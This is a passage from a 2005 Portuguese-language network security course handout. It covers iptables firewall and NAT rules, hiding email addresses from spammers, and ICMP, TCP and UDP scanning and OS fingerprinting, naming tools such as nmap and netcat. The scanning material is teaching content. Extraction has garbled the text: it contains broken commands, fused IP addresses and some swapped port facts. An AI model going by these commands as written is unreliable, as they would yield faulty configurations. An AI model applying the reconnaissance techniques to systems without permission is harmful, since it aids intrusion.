_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o 